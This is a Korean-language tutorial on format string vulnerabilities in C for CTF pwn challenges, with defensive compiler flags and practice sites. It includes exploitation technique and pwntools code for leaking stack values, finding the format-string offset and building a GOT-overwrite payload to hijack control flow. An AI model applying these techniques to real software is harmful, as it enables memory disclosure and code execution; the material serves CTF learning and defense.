Format String Vulnerabilities: CTF에서 자주 나오는 그 버그
포맷 스트링 취약점은 오래된 버그지만 CTF에서 여전히 단골 문제다. 원리만 알면 메모리 읽기부터 임의 쓰기까지 가능하다.
뭔가
C에서 printf 계열 함수는 첫 번째 인자로 포맷 문자열을 받는다.
// 안전한 코드
printf("%s", user_input);
// 위험한 코드
printf(user_input);
두 번째 줄이 문제다. user_input에 %x, %s, %n 같은 포맷 지정자가 들어오면 스택을 그대로 읽거나 쓸 수 있다.
스택 읽기
./vuln
Input: %x.%x.%x.%x
Output: ff9a2040.0.f7e2c000.1
스택 값이 줄줄 새어나온다. %p로 포인터 형식으로 읽으면 더 깔끔하다.
몇 번째 인자인지 직접 지정하려면 %N$x 문법을 쓴다:
%1$x → 1번째 스택 값
%6$p → 6번째 스택 포인터
이걸로 카나리 값이나 libc 주소를 릭할 수 있다.
메모리 읽기 (임의 주소)
특정 주소의 값을 읽고 싶으면:
- 포맷 문자열 버퍼가 스택에 있는 위치(오프셋)를 먼저 찾는다
- 읽고 싶은 주소를 버퍼 앞에 넣고
%N$s로 참조
# 오프셋 찾기 (pwntools)
from pwn import *
p = process('./vuln')
for i in range(1, 20):
p.sendline(f'AAAA%{i}$x'.encode())
out = p.recvline()
if b'41414141' in out:
print(f'offset: {i}')
break
p = process('./vuln')
41414141이 보이는 순간이 오프셋이다.
%n으로 임의 쓰기
%n은 지금까지 출력된 바이트 수를 해당 포인터가 가리키는 주소에 쓴다. 이게 핵심 무기다.
%100c%N$n → N번째 인자가 가리키는 주소에 100을 씀
단, 4바이트를 한 번에 쓰면 출력량이 너무 커진다. 그래서 실전에서는 2바이트씩 나눠 쓰는 %hn이나 1바이트씩 쓰는 %hhn을 쓴다.
pwntools의 fmtstr_payload가 이걸 자동으로 해준다:
from pwn import *
# got['puts']에 win 함수 주소 넣기
payload = fmtstr_payload(offset, {elf.got['puts']: win_addr})
p.sendline(payload)
GOT 오버라이트로 함수 포인터를 win() 주소로 바꾸면 셸 획득.
CTF에서 접근 순서
- 취약점 확인 —
printf(buf)패턴 찾기, checksec으로 보호 기법 확인 - 오프셋 찾기 —
AAAA%1$x,%2$x... 반복 - 릭 — 카나리, libc base, 스택 주소 등 필요한 거 먼저 빼오기
- 쓰기 — GOT 오버라이트 또는 ret addr 덮기
- 익스플로잇 — 셸 or 플래그
방어
printf(buf)절대 쓰지 말 것 →printf("%s", buf)- 컴파일러 경고
-Wformat -Wformat-security켜기 - FORTIFY_SOURCE 활성화 (
-D_FORTIFY_SOURCE=2)
현대 바이너리에선 ASLR + PIE + RELRO 조합으로 익스가 복잡해졌지만, 릭 하나만 있으면 여전히 뚫린다. CTF Pwn 카테고리에서 medium 난이도면 십중팔구 이 조합이다.
연습 추천
- pwnable.kr —
fd,passcode문제 - pwn.college — Format String 모듈
- picoCTF — 아카이브에 포맷 스트링 문제 다수
오래된 취약점이지만 지금도 임베디드 기기나 레거시 코드에서 종종 등장한다. 기본기로 잡아두면 손해 없다.